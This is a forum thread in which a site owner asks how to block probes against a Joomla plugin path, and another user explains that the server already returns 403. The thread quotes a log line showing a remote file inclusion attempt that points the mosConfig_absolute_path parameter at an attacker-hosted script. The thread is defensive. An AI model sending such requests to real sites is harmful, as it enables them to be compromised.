injection script attack.

[classifieds]

I just discovered that for the last three days someone has been using 100+ servers scattered all over the world attempting to hack one of my sites.

They are trying to use some type of injection / XSS - I don't know enough to determine exactly what but there are quite a few malicious looking commands on the pages that are embedded in the script.

I blocked them by accident because of my UA filters but if they change that and start using a standard browser UA they could probably get through. I’ve got my software vendor looking at their code to see if it is in fact vulnerable but in the meantime. . .

If anyone can give me some assistance with an .htaccess RewriteCond I would be very appreciative.

The URL they are referencing is one that a user would never see and should never show up.

A redacted sample log file record looks like:

200.61.229.110 - - [05/Nov/2006:00:06:55 -0500] "GET /utility/Subdirectory/Subdirectory2/Subdirectory2_Plugin_textarea.php?mosConfig_absolute_path=http://maliciousscriptdomain.ru/c.txt? HTTP/1.0" 403 - "-"

How would I construct a RewriteCond to block all references to "/Subdirectory2_Plugin_textarea.php"?

Thanks if you can help.

P.S. If you're interested in looking at the pages that contain the scripts send me a sticky note.

[jtara]

Unless you are concerned about the traffic, this is a non-problem. You are returning a 403 error, "forbidden" already. You are already blocking them, presumably through access control.

Everybody gets these probes all the time.

If you have a long 403 page, though, it could result in significant traffic, so you might want to use mod_rewrite to just send a blank 403 or no response.

[classifieds]

I hope you are correct. This site is Joomla and it looks like they are trying to change the Joomla root so that it uses the code on their domain instead of my server.